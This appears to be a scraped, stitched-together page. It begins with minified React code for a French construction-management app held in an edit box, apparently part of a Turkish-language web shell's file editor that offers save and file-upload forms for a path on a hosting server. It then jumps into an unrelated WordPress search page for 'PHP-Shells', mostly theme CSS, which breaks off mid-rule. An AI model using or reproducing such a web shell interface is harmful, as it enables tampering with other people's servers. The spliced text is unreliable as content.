tâche…&quot;}),ne.unit?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ne.unit}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;pe-rate&quot;,children:&quot;Taux unitaire (optionnel)&quot;}),s.jsx(&quot;input&quot;,{id:&quot;pe-rate&quot;,type:&quot;text&quot;,inputMode:&quot;decimal&quot;,value:H,onChange:he=&gt;W(he.target.value),className:`${oe} text-lg`}),ne.unit_rate?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ne.unit_rate}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;pe-status&quot;,children:&quot;Statut&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;pe-status&quot;,value:Z,onChange:he=&gt;B(he.target.value),className:oe,children:[s.jsx(&quot;option&quot;,{value:&quot;draft&quot;,children:&quot;Brouillon&quot;}),s.jsx(&quot;option&quot;,{value:&quot;submitted&quot;,children:&quot;Soumis (validation chantier)&quot;})]}),ne.status?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ne.status}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;pe-comment&quot;,children:&quot;Commentaire&quot;}),s.jsx(&quot;textarea&quot;,{id:&quot;pe-comment&quot;,value:ae,onChange:he=&gt;P(he.target.value),rows:3,className:oe})]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:pe,className:Ot,children:pe?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Production&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Lecture seule — pas de saisie (production_entries.manage).&quot;})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Production&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}const cy=[{value:&quot;not_started&quot;,label:&quot;Pas démarré&quot;},{value:&quot;in_progress&quot;,label:&quot;En cours&quot;},{value:&quot;completed&quot;,label:&quot;Terminé&quot;},{value:&quot;validated&quot;,label:&quot;Validé&quot;},{value:&quot;suspended&quot;,label:&quot;Suspendu&quot;}];function ry(){const{projectId:u}=nt(),c=Number(u),f=Ft(),{token:r,can:d}=De(),{setActiveProjectId:p}=ft(),[y,v]=m.useState(&quot;&quot;),[g,x]=m.useState(&quot;&quot;),[S,b]=m.useState(&quot;&quot;),[A,V]=m.useState(&quot;not_started&quot;),[R,U]=m.useState(&quot;&quot;),[D,G]=m.useState(&quot;&quot;),[$,F]=m.useState({}),[I,ee]=m.useState(null),[K,q]=m.useState(!1);m.useEffect(()=&gt;{Number.isFinite(c)&amp;&amp;p(c)},[c,p]);async function J(H){if(H.preventDefault(),!r||!Number.isFinite(c))return;ee(null),F({}),q(!0);const W={name:y.trim(),category:g.trim(),description:S.trim()===&quot;&quot;?null:S.trim(),status:A,start_date:R===&quot;&quot;?null:R,expected_end_date:D===&quot;&quot;?null:D};try{const Z=await ie(`/api/v1/projects/${c}/work-items`,{method:&quot;POST&quot;,token:r,body:JSON.stringify(W)});f(&quot;/production-entries/new&quot;,{state:{workItemId:Z.data.id}})}catch(Z){if(Z instanceof ge){ee(Z.message);const B=mr(Z.body);B&amp;&amp;F(B)}else ee(&quot;Enregistrement impossible&quot;)}finally{q(!1)}}return d(&quot;work_items.view&quot;)?d(&quot;work_items.manage&quot;)?Number.isFinite(c)?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/production-entries&quot;,title:&quot;Nouvel ouvrage&quot;,subtitle:`Chantier #${c} — utilisé pour la production au rendu`}),s.jsxs(&quot;p&quot;,{className:&quot;mb-4 text-xs text-stone-500&quot;,children:[&quot;Créez un poste / lot de suivi rattaché à ce chantier. Il apparaîtra dans les listes déroulantes des&quot;,&quot; &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;lignes de production&quot;}),&quot;.&quot;]}),s.jsxs(&quot;form&quot;,{onSubmit:H=&gt;void J(H),className:&quot;space-y-4&quot;,children:[I?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:I}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;wi-name&quot;,children:&quot;Nom de l’ouvrage&quot;}),s.jsx(&quot;input&quot;,{id:&quot;wi-name&quot;,type:&quot;text&quot;,required:!0,value:y,onChange:H=&gt;v(H.target.value),className:`${oe} text-base`,placeholder:&quot;ex. Dalle béton zone A&quot;,autoComplete:&quot;off&quot;}),$.name?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:$.name}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;wi-category&quot;,children:&quot;Catégorie / lot&quot;}),s.jsx(&quot;input&quot;,{id:&quot;wi-category&quot;,type:&quot;text&quot;,required:!0,value:g,onChange:H=&gt;x(H.target.value),className:oe,placeholder:&quot;ex. Gros œuvre, Second œuvre…&quot;}),$.category?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:$.category}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;wi-desc&quot;,children:&quot;Description (optionnel)&quot;}),s.jsx(&quot;textarea&quot;,{id:&quot;wi-desc&quot;,value:S,onChange:H=&gt;b(H.target.value),rows:3,className:oe})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;wi-status&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{id:&quot;wi-status&quot;,value:A,onChange:H=&gt;V(H.target.value),className:oe,children:cy.map(H=&gt;s.jsx(&quot;option&quot;,{value:H.value,children:H.label},H.value))})]}),s.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 gap-3 sm:grid-cols-2&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;wi-start&quot;,children:&quot;Date de début (optionnel)&quot;}),s.jsx(&quot;input&quot;,{id:&quot;wi-start&quot;,type:&quot;date&quot;,value:R,onChange:H=&gt;U(H.target.value),className:oe}),$.start_date?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:$.start_date}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;wi-end&quot;,children:&quot;Fin prévue (optionnel)&quot;}),s.jsx(&quot;input&quot;,{id:&quot;wi-end&quot;,type:&quot;date&quot;,value:D,onChange:H=&gt;G(H.target.value),className:oe}),$.expected_end_date?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:$.expected_end_date}):null]})]}),s.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2 pt-2&quot;,children:[s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:K,className:Ot,children:K?&quot;Création…&quot;:&quot;Créer l’ouvrage&quot;}),s.jsx(je,{to:&quot;/production-entries&quot;,className:ml,children:&quot;Annuler&quot;})]})]})]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Nouvel ouvrage&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec work_items.manage.&quot;})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Nouvel ouvrage&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function oy({children:u}){const{token:c,bootstrapping:f}=De();return f?s.jsx(&quot;div&quot;,{className:&quot;flex min-h-dvh items-center justify-center px-4&quot;,children:s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;})}):c?s.jsx(s.Fragment,{children:u}):s.jsx(cr,{to:&quot;/login&quot;,replace:!0})}function fy(){return s.jsxs(kx,{children:[s.jsx(_e,{path:&quot;/login&quot;,element:s.jsx(_v,{})}),s.jsxs(_e,{path:&quot;/&quot;,element:s.jsx(oy,{children:s.jsx(Tv,{})}),children:[s.jsx(_e,{index:!0,element:s.jsx(Cv,{})}),s.jsx(_e,{path:&quot;profil&quot;,element:s.jsx(zv,{})}),s.jsx(_e,{path:&quot;organization&quot;,element:s.jsx(Rv,{})}),s.jsx(_e,{path:&quot;projects&quot;,element:s.jsx(Ov,{})}),s.jsx(_e,{path:&quot;projects/new&quot;,element:s.jsx(Dm,{})}),s.jsx(_e,{path:&quot;projects/:projectId&quot;,element:s.jsx(wv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/edit&quot;,element:s.jsx(Dm,{})}),s.jsx(_e,{path:&quot;projects/:projectId/teams&quot;,element:s.jsx(Bv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/teams/new&quot;,element:s.jsx(Hm,{})}),s.jsx(_e,{path:&quot;projects/:projectId/teams/:teamId&quot;,element:s.jsx(Lv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/teams/:teamId/edit&quot;,element:s.jsx(Hm,{})}),s.jsx(_e,{path:&quot;projects/:projectId/assignments&quot;,element:s.jsx(Gv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/assignments/new&quot;,element:s.jsx(kv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/assignments/:assignmentId&quot;,element:s.jsx(Xv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/access&quot;,element:s.jsx(Vv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/work-items/new&quot;,element:s.jsx(ry,{})}),s.jsx(_e,{path:&quot;attendances/saisie&quot;,element:s.jsx(Pv,{})}),s.jsx(_e,{path:&quot;attendances/new&quot;,element:s.jsx(qm,{})}),s.jsx(_e,{path:&quot;attendances/:attendanceId/edit&quot;,element:s.jsx(qm,{})}),s.jsx(_e,{path:&quot;attendances/:attendanceId&quot;,element:s.jsx(Kv,{})}),s.jsx(_e,{path:&quot;attendances&quot;,element:s.jsx(ty,{})}),s.jsx(_e,{path:&quot;production-entries/new&quot;,element:s.jsx(Lm,{})}),s.jsx(_e,{path:&quot;production-entries/:productionEntryId/edit&quot;,element:s.jsx(Lm,{})}),s.jsx(_e,{path:&quot;production-entries/:productionEntryId&quot;,element:s.jsx(iy,{})}),s.jsx(_e,{path:&quot;production-entries&quot;,element:s.jsx(ly,{})}),s.jsx(_e,{path:&quot;users&quot;,element:s.jsx(Mv,{})}),s.jsx(_e,{path:&quot;users/new&quot;,element:s.jsx(Mm,{})}),s.jsx(_e,{path:&quot;users/:userId&quot;,element:s.jsx(Uv,{})}),s.jsx(_e,{path:&quot;users/:userId/edit&quot;,element:s.jsx(Mm,{})}),s.jsx(_e,{path:&quot;workers&quot;,element:s.jsx(Hv,{})}),s.jsx(_e,{path:&quot;workers/new&quot;,element:s.jsx(Um,{})}),s.jsx(_e,{path:&quot;workers/:workerId&quot;,element:s.jsx(qv,{})}),s.jsx(_e,{path:&quot;workers/:workerId/edit&quot;,element:s.jsx(Um,{})})]}),s.jsx(_e,{path:&quot;*&quot;,element:s.jsx(cr,{to:&quot;/&quot;,replace:!0})})]})}function dy(){return s.jsx(dv,{children:s.jsx(Nv,{children:s.jsx(Ev,{children:s.jsx(fy,{})})})})}kp.createRoot(document.getElementById(&quot;root&quot;)).render(s.jsx(m.StrictMode,{children:s.jsx(dy,{})}));
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/coffra/assets/index-kitbI5uT.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d1a2c003b8*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 